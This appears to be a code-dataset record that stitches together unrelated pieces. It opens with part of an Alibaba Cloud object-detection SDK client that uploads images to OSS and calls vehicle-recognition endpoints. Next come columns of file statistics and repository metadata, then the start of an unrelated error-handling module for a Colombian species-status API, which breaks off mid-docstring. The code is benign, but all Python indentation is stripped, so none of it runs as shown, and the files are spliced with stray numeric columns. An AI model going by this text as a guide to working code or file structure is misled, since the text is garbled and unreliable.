auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
recognize_vehicle_dashboardreq = objectdet_20191230_models.RecognizeVehicleDashboardRequest(
)
RPCUtilClient.convert(request, recognize_vehicle_dashboardreq)
recognize_vehicle_dashboardreq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
recognize_vehicle_dashboard_resp = self.recognize_vehicle_dashboard(recognize_vehicle_dashboardreq, runtime)
return recognize_vehicle_dashboard_resp
def recognize_vehicle_damage(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.RecognizeVehicleDamageResponse().from_map(self.do_request("RecognizeVehicleDamage", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def recognize_vehicle_damage_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
recognize_vehicle_damagereq = objectdet_20191230_models.RecognizeVehicleDamageRequest(
)
RPCUtilClient.convert(request, recognize_vehicle_damagereq)
recognize_vehicle_damagereq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
recognize_vehicle_damage_resp = self.recognize_vehicle_damage(recognize_vehicle_damagereq, runtime)
return recognize_vehicle_damage_resp
def recognize_vehicle_parts(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.RecognizeVehiclePartsResponse().from_map(self.do_request("RecognizeVehicleParts", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def recognize_vehicle_parts_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
recognize_vehicle_partsreq = objectdet_20191230_models.RecognizeVehiclePartsRequest(
)
RPCUtilClient.convert(request, recognize_vehicle_partsreq)
recognize_vehicle_partsreq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
recognize_vehicle_parts_resp = self.recognize_vehicle_parts(recognize_vehicle_partsreq, runtime)
return recognize_vehicle_parts_resp
def detect_vehicle(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.DetectVehicleResponse().from_map(self.do_request("DetectVehicle", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_vehicle_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
detect_vehiclereq = objectdet_20191230_models.DetectVehicleRequest(
)
RPCUtilClient.convert(request, detect_vehiclereq)
detect_vehiclereq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
detect_vehicle_resp = self.detect_vehicle(detect_vehiclereq, runtime)
return detect_vehicle_resp
def detect_main_body(self, request, runtime):
UtilClient.validate_model(request)
return objectdet_20191230_models.DetectMainBodyResponse().from_map(self.do_request("DetectMainBody", "HTTPS", "POST", "2019-12-30", "AK", None, request.to_map(), runtime))
def detect_main_body_advance(self, request, runtime):
# Step 0: init client
access_key_id = self._credential.get_access_key_id()
access_key_secret = self._credential.get_access_key_secret()
auth_config = _rpc_models.Config(
access_key_id=access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint="openplatform.aliyuncs.com",
protocol=self._protocol,
region_id=self._region_id
)
auth_client = OpenPlatformClient(auth_config)
auth_request = open_platform_models.AuthorizeFileUploadRequest(
product="objectdet",
region_id=self._region_id
)
auth_response = auth_client.authorize_file_upload_with_options(auth_request, runtime)
# Step 1: request OSS api to upload file
oss_config = _oss_models.Config(
access_key_id=auth_response.access_key_id,
access_key_secret=access_key_secret,
type="access_key",
endpoint=RPCUtilClient.get_endpoint(auth_response.endpoint, auth_response.use_accelerate, self._endpoint_type),
protocol=self._protocol,
region_id=self._region_id
)
oss_client = OSSClient(oss_config)
file_obj = file_form_models.FileField(
filename=auth_response.object_key,
content=request.image_urlobject,
content_type=""
)
oss_header = _oss_models.PostObjectRequestHeader(
access_key_id=auth_response.access_key_id,
policy=auth_response.encoded_policy,
signature=auth_response.signature,
key=auth_response.object_key,
file=file_obj,
success_action_status="201"
)
upload_request = _oss_models.PostObjectRequest(
bucket_name=auth_response.bucket,
header=oss_header
)
oss_runtime = ossutil_models.RuntimeOptions(
)
RPCUtilClient.convert(runtime, oss_runtime)
oss_client.post_object(upload_request, oss_runtime)
# Step 2: request final api
detect_main_bodyreq = objectdet_20191230_models.DetectMainBodyRequest(
)
RPCUtilClient.convert(request, detect_main_bodyreq)
detect_main_bodyreq.image_url = "http://" + str(auth_response.bucket) + "." + str(auth_response.endpoint) + "/" + str(auth_response.object_key) + ""
detect_main_body_resp = self.detect_main_body(detect_main_bodyreq, runtime)
return detect_main_body_resp
def get_endpoint(self, product_id, region_id, endpoint_rule, network, suffix, endpoint_map, endpoint):
if not UtilClient.empty(endpoint):
return endpoint
if not UtilClient.is_unset(endpoint_map) and not UtilClient.empty(endpoint_map.get('regionId')):
return endpoint_map.get('regionId')
return EndpointUtilClient.get_endpoint_rules(product_id, region_id, endpoint_rule, network, suffix)
| 46.332792
| 201
| 0.687993
| 3,142
| 28,541
| 5.828771
| 0.05697
| 0.070766
| 0.043246
| 0.033417
| 0.800044
| 0.767282
| 0.767282
| 0.767282
| 0.762695
| 0.762695
| 0
| 0.015277
| 0.233979
| 28,541
| 615
| 202
| 46.40813
| 0.822394
| 0.02859
| 0
| 0.676636
| 1
| 0
| 0.03885
| 0.013143
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041122
| false
| 0
| 0.024299
| 0
| 0.11028
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
acecbc1fe88e990eabda47d057a3783e4866a8e5
| 71,300
|
py
|
Python
|
API/error_handling.py
|
marbotte/colSpList
|
413cf556105b160d8c9bd67e26fa6b8b9f8becad
|
[
"MIT"
] | null | null | null |
API/error_handling.py
|
marbotte/colSpList
|
413cf556105b160d8c9bd67e26fa6b8b9f8becad
|
[
"MIT"
] | null | null | null |
API/error_handling.py
|
marbotte/colSpList
|
413cf556105b160d8c9bd67e26fa6b8b9f8becad
|
[
"MIT"
] | null | null | null |
"""
In this file we redirect the errors before passing them to the endpoints
We manage here 2 types of errors:
1. if the error is due to user input, the functions should returns a result consisting of a dictionary with a key 'error' and the explicative message for the user
2. if the error is due to a problem in the api code or database, the function raises a "Abort500Error" in order to indicate to the endpoint that it should use the abort method with the "500" html error code and the message from the initial error code
"""
from errors_def import MissingArgError, DatabaseUncompatibilityValueError, DatabaseUncompatibilityError, AlreadyExistsDbError, DeleteMissingElementDbError, ModifyMissingStatusDbError, TaxonNotFoundDbError, GrantExistingRightError, RevokeUnexistingRightError, UncompatibilityGbifKeyCanonicalname, DbIntegrityError, UncompatibleStatusError, UnauthorizedValueError,UncompatibilityCdTaxInputTaxError, ModifyMissingRefDbError, UserNotFoundError, Abort500Error
from taxo import manageInputTax, get_gbif_parsed_from_sci_name,childrenList,deleteTaxo, checkCdTax,modifyTaxo
from flask import abort, g
from getStatus import testEndemStatus, testExotStatus, testThreatStatus, getListTax,getListExot, getListEndem, getListThreat, getTax, getListReferences
from manageStatus import manageSource,deleteRef,mergeRefs, modifyRef, deleteExot, deleteEndem,deleteThreat,modifyEndem,modifyThreat,modifyExot,manageInputEndem,manageInputThreat,manageInputExot
from security import new_user, delete_user, valid_password, user_exists, get_user, generate_auth_token, verify_auth_token, grant_user, revoke_user, grant_edit, revoke_edit, grant_admin, revoke_admin,change_password, get_user_list
from admin import delReference_no_status,delTaxo_no_status,delStatus_no_reference,delSyno_no_tax
import psycopg2
from psycopg2 import sql
import psycopg2.extras
from io import BytesIO
from flask import send_file
def testEndemGet_err_hand(connection, **testEndemArgs):
"""
Description
-----------
Look for a species. If the found species has an endemism status, returns its status and associated references
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
testEndemArgs: dict
Dictionary with the following elements:
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_tax_acc: Int
Identifier of the accepted taxon
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
hasEndemStatus: Bool
Whether the taxon has an endemism status in the database
cd_nivel: Int
Endemism level (from 0: unsuficient information to 4: endemic)
endemism: Str
Endemism level (Spanish)
endemism_en: Str
Endemism level (English)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
res = manageInputTax(connection=connection, insert=False, **testEndemArgs)
if res.get('alreadyInDb'):
res.update(testEndemStatus(connection,res.get('cd_tax_acc')))
else:
res.update({'hasEndemStatus':False,'cd_status':None,'comments':None,'references':list(),'links':list()})
except (MissingArgError, UncompatibilityGbifKeyCanonicalname) as e:
return {'error':str(e)}
except UnauthorizedValueError as e:
if e.var=='gbifMatchMode':
raise Abort500Error(str(e)) from e
else:
return {'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def testExotGet_err_hand(connection, **testExotArgs):
"""
Description
-----------
Look for a species. If the found species has an exotic status, returns its status and associated references
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
testExotArgs: dict
Dictionary with the following elements:
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
cd_tax_acc: Int
Identifier of the accepted taxon
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
hasExotStatus: Bool
Whether the taxon has an alien/invasive status in the database
is_alien: Bool
Whether a taxon is alien for Colombia (part of the exotic status)
is_invasive: Bool
Whether a taxo is invasive in Colombia (part of the exotic status)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
res = manageInputTax(connection=connection, insert=False, **testExotArgs)
if res.get('alreadyInDb'):
res.update(testExotStatus(connection,res.get('cd_tax_acc')))
else:
res.update({'hasExotStatus':False,'is_alien':None,'is_invasive':None,'comments':None,'references':list(),'links':list()})
except (MissingArgError, UncompatibilityGbifKeyCanonicalname) as e:
return {'error':str(e)}
except UnauthorizedValueError as e:
if e.var=='gbifMatchMode':
raise Abort500Error(str(e)) from e
else:
return {'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def testThreatGet_err_hand(connection, **testThreatArgs):
"""
Description
-----------
Look for a species. If the found species has an threat status, returns its status and associated references
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
testThreatArgs: dict
Dictionary with the following elements:
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
alreadyInDb: Bool
Whether the taxon was already in the database when the endpoint was accessed
foundGbif: Bool
Whether the taxon was found in GBIF
matchedname: Str
Name of the taxon matched with the provided one, in the API database, or from the GBIF API
acceptedname: Str
Name of the accepted taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
syno: Bool
Whether a taxon is a synonym
insertedTax: List(Int)
List of inserted taxa
hasThreatStatus: Bool
Whether the taxon has a threat status in the database
cd_status: Str
Status of the species (IUCN threat statusl)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
res = manageInputTax(connection=connection, insert=False, **testThreatArgs)
if res.get('alreadyInDb'):
res.update(testThreatStatus(connection,res.get('cd_tax_acc')))
else:
res.update({'hasThreatStatus':False,'cd_status':None,'comments':None,'references':list(),'links':list()})
except (MissingArgError, UncompatibilityGbifKeyCanonicalname) as e:
return {'error':str(e)}
except UnauthorizedValueError as e:
if e.var=='gbifMatchMode':
raise Abort500Error(str(e)) from e
else:
return {'error':str(e)}
except DbIntegrityError as e:
raise Abort500Error(str(e)) from e
else:
return res
def ListEndem_err_hand(connection, **listEndemArgs):
"""
Description
-----------
Returns of endemic taxa and associated reference. Without argument, returns the complete list. With the “childrenOf” argument, returns only the taxa from a taxonomic clade. Export format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
listEndemArgs: dict
Dictionary with the following elements:
childrenOf: Str [optional]
canonicalname or scientificname of the parent taxon for which we want to get the list of children taxa (and their statuses)
format: Str [optional]
JSON or CSV format in GET methods
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
scientificname: Str
Name of a taxon, with associated authorship
parentname: Str
Name of the direct parent taxon
tax_rank: Str
Taxonomic level (from FORM to DOMAIN)
gbifkey: Int
Identifier of a taxon in the GBIF backbone
synonyms: List(Str)
List of synonyms associated with a taxon
endemism: Str
Endemism level (Spanish)
endemism_en: Str
Endemism level (English)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
if listEndemArgs.get('childrenOf'):
parsed = get_gbif_parsed_from_sci_name(listEndemArgs.get('childrenOf'))
if parsed.get('scientificName') and parsed.get('canonicalNameComplete') and parsed.get('scientificName')==parsed.get('canonicalNameComplete'):
parent=manageInputTax(connection=connection, insert=False,canonicalname=listEndemArgs.get('childrenOf'))
else:
parent=manageInputTax(connection=connection, insert=False,scientificname=listEndemArgs.get('childrenOf'))
if parent.get('alreadyInDb'):
cursor=connection.cursor()
listChildren=childrenList(cursor,parent.get('cd_tax_acc'))
cursor.close()
res=getListEndem(connection=connection, listChildren=listChildren, formatExport=listEndemArgs.get('format'))
else:
raise TaxonNotFoundDbError(tax=listEndemArgs.get('childrenOf'), message='\'childrenOf\' taxon not recognized')
#raise Exception("childrenOfNotFound")
else:
res = getListEndem(connection=connection, listChildren=[], formatExport=listEndemArgs.get('format'))
except (TaxonNotFoundDbError, MissingArgError) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
if listEndemArgs.get('format')=="CSV":
response_stream = BytesIO(res.to_csv().encode())
return send_file(response_stream, mimetype = "text/csv", attachment_filename = "endemic.csv")
else:
return res
def ListExot_err_hand(connection, **listExotArgs):
"""
Description
-----------
Returns of exotic taxa and associated reference. Without argument, returns the complete list. With the “childrenOf” argument, returns only the taxa from a taxonomic clade. Export format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
listExotArgs: dict
Dictionary with the following elements:
childrenOf: Str [optional]
canonicalname or scientificname of the parent taxon for which we want to get the list of children taxa (and their statuses)
format: Str [optional]
JSON or CSV format in GET methods
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
scientificname: Str
Name of a taxon, with associated authorship
parentname: Str
Name of the direct parent taxon
tax_rank: Str
Taxonomic level (from FORM to DOMAIN)
gbifkey: Int
Identifier of a taxon in the GBIF backbone
synonyms: List(Str)
List of synonyms associated with a taxon
is_alien: Bool
Whether a taxon is alien for Colombia (part of the exotic status)
is_invasive: Bool
Whether a taxo is invasive in Colombia (part of the exotic status)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
if listExotArgs.get('childrenOf'):
parsed = get_gbif_parsed_from_sci_name(listExotArgs.get('childrenOf'))
if parsed.get('scientificName') and parsed.get('canonicalNameComplete') and parsed.get('scientificName')==parsed.get('canonicalNameComplete'):
parent=manageInputTax(connection=connection, insert=False,canonicalname=listExotArgs.get('childrenOf'))
else:
parent=manageInputTax(connection=connection, insert=False,scientificname=listExotArgs.get('childrenOf'))
if parent.get('alreadyInDb'):
cursor=connection.cursor()
listChildren=childrenList(cursor,parent.get('cd_tax_acc'))
cursor.close()
res=getListExot(connection=connection, listChildren=listChildren, formatExport=listExotArgs.get('format'))
else:
raise TaxonNotFoundDbError(tax=listExotArgs.get('childrenOf'), message='\'childrenOf\' taxon not recognized')
#raise Exception("childrenOfNotFound")
else:
res = getListExot(connection=connection, listChildren=[], formatExport=listExotArgs.get('format'))
except (TaxonNotFoundDbError, MissingArgError) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
if listExotArgs.get('format')=="CSV":
response_stream = BytesIO(res.to_csv().encode())
return send_file(response_stream, mimetype = "text/csv", attachment_filename = "exot.csv")
else:
return res
def ListThreat_err_hand(connection, **listThreatArgs):
"""
Description
-----------
Returns of threatened taxa and associated reference. Without argument, returns the complete list. With the “childrenOf” argument, returns only the taxa from a taxonomic clade. Export format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
listThreatArgs: dict
Dictionary with the following elements:
childrenOf: Str [optional]
canonicalname or scientificname of the parent taxon for which we want to get the list of children taxa (and their statuses)
format: Str [optional]
JSON or CSV format in GET methods
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
scientificname: Str
Name of a taxon, with associated authorship
parentname: Str
Name of the direct parent taxon
tax_rank: Str
Taxonomic level (from FORM to DOMAIN)
gbifkey: Int
Identifier of a taxon in the GBIF backbone
synonyms: List(Str)
List of synonyms associated with a taxon
cd_status: Str
Status of the species (IUCN threat statusl)
comments: Str
Comments on the taxon status
references: List(Str)
List of blibliographic references
links: List(Str)
List of internet links (URLs) for resources (usually datasets or pdf) associated with a bibliographic reference
"""
try:
if listThreatArgs.get('childrenOf'):
parsed = get_gbif_parsed_from_sci_name(listThreatArgs.get('childrenOf'))
if parsed.get('scientificName') and parsed.get('canonicalNameComplete') and parsed.get('scientificName')==parsed.get('canonicalNameComplete'):
parent=manageInputTax(connection=connection, insert=False,canonicalname=listThreatArgs.get('childrenOf'))
else:
parent=manageInputTax(connection=connection, insert=False,scientificname=listThreatArgs.get('childrenOf'))
if parent.get('alreadyInDb'):
cursor=connection.cursor()
listChildren=childrenList(cursor,parent.get('cd_tax_acc'))
cursor.close()
res=getListThreat(connection=connection, listChildren=listChildren, formatExport=listThreatArgs.get('format'))
else:
raise TaxonNotFoundDbError(tax=listThreatArgs.get('childrenOf'), message='\'childrenOf\' taxon not recognized')
#raise Exception("childrenOfNotFound")
else:
res = getListThreat(connection=connection, listChildren=[], formatExport=listThreatArgs.get('format'))
except (TaxonNotFoundDbError, MissingArgError) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
if listThreatArgs.get('format')=="CSV":
response_stream = BytesIO(res.to_csv().encode())
return send_file(response_stream, mimetype = "text/csv", attachment_filename = "threat.csv")
else:
return res
def GetTaxon_err_hand(connection, **taxInput):
"""
Description
-----------
Returns the information about one taxon.
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
taxInput: dict
Dictionary with the following elements:
cd_tax: Int [optional]
Identificator of a taxon in the database
gbifkey: Int [optional]
Identificator of a taxon in the GBIF Backbone database (=specieskey, key, acceptedkey etc.)
scientificname: Str [optional]
Complete name of a taxon, with authorship
canonicalname: Str [optional]
Name of the taxon without authorship. Formally correspond to canonicalNameWithMarker in GBIF DarwinCore format
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
scientificname: Str
Name of a taxon, with associated authorship
canonicalname: Str
Name of the taxon, without authorship (corresponds to canonicalNameWithMarkers in the GBIF DarwinCore format)
authorship: Str
Authorship associated with the taxon name
tax_rank: Str
Taxonomic level (from FORM to DOMAIN)
cd_parent: Int
Identitificator of the parent taxon
parentname: Str
Name of the direct parent taxon
cd_accepted: Int
Identifier of the accepted taxon
acceptedname: Str
Name of the accepted taxon
status: Str
Taxonomic status of a taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
hasEndemStatus: Bool
Whether the taxon has an endemism status in the database
hasExotStatus: Bool
Whether the taxon has an alien/invasive status in the database
hasThreatStatus: Bool
Whether the taxon has a threat status in the database
"""
try:
if not taxInput.get('cd_tax'):
taxInput.update(manageInputTax(connection=connection,insert=False,**taxInput))
taxOutput = getTax(connection,taxInput.get('cd_tax'))
except (MissingArgError, UncompatibilityGbifKeyCanonicalname) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
return taxOutput
def ListTax_err_hand(connection, **listTaxArgs):
"""
Description
-----------
Returns a list of tax integrated in the API database. Without argument, returns the complete list. With the “childrenOf” argument, returns only the taxa from a taxonomic clade. Export format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
listTaxArgs: dict
Dictionary with the following elements:
childrenOf: Str [optional]
canonicalname or scientificname of the parent taxon for which we want to get the list of children taxa (and their statuses)
format: Str [optional]
JSON or CSV format in GET methods
Returns
-----------
cd_tax: Int
Identifier of a taxon in the API database
scientificname: Str
Name of a taxon, with associated authorship
canonicalname: Str
Name of the taxon, without authorship (corresponds to canonicalNameWithMarkers in the GBIF DarwinCore format)
authorship: Str
Authorship associated with the taxon name
tax_rank: Str
Taxonomic level (from FORM to DOMAIN)
cd_parent: Int
Identitificator of the parent taxon
parentname: Str
Name of the direct parent taxon
cd_accepted: Int
Identifier of the accepted taxon
acceptedname: Str
Name of the accepted taxon
status: Str
Taxonomic status of a taxon
gbifkey: Int
Identifier of a taxon in the GBIF backbone
hasEndemStatus: Bool
Whether the taxon has an endemism status in the database
hasExotStatus: Bool
Whether the taxon has an alien/invasive status in the database
hasThreatStatus: Bool
Whether the taxon has a threat status in the database
"""
try:
if listTaxArgs.get('childrenOf'):
parsed = get_gbif_parsed_from_sci_name(listTaxArgs.get('childrenOf'))
if parsed.get('scientificName') and parsed.get('canonicalNameComplete') and parsed.get('scientificName')==parsed.get('canonicalNameComplete'):
parent=manageInputTax(connection=connection, insert=False,canonicalname=listTaxArgs.get('childrenOf'))
else:
parent=manageInputTax(connection=connection, insert=False,scientificname=listTaxArgs.get('childrenOf'))
if parent.get('alreadyInDb'):
cursor=connection.cursor()
listChildren=childrenList(cursor,parent.get('cd_tax_acc'))
cursor.close()
res=getListTax(connection=connection, listChildren=listChildren, formatExport=listTaxArgs.get('format'))
else:
raise TaxonNotFoundDbError(tax=listTaxArgs.get('childrenOf'), message='\'childrenOf\' taxon not recognized')
#raise Exception("childrenOfNotFound")
else:
res = getListTax(connection=connection, listChildren=[], formatExport=listTaxArgs.get('format'))
except (TaxonNotFoundDbError, MissingArgError) as e:
return {'error':str(e)}
except (DbIntegrityError, UnauthorizedValueError) as e:
raise Abort500Error(str(e)) from e
else:
if listTaxArgs.get('format')=="CSV":
response_stream = BytesIO(res.to_csv().encode())
return send_file(response_stream, mimetype = "text/csv", attachment_filename = "taxonomy.csv")
else:
return res
def ListRef_err_hand(connection, **listRefArgs):
"""
Description
-----------
Returns a list of bibliographic references from the database, with the number of taxa with statuses (endemism, alien and threatened). Format may be JSON or CSV
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
listRefArgs: dict
Dictionary with the following elements:
onlyExot: Bool [optional]
Whether to returns only the exotic-related references
onlyEndem: Bool [optional]
Whether to returns only the endemism-related references
onlyThreat: Bool [optional]
Whether to returns only the threat-related references
format: Str [optional]
JSON or CSV format in GET methods
Returns
-----------
cd_ref: Int
Identifier of the bibliographic reference
ref_citation: Str
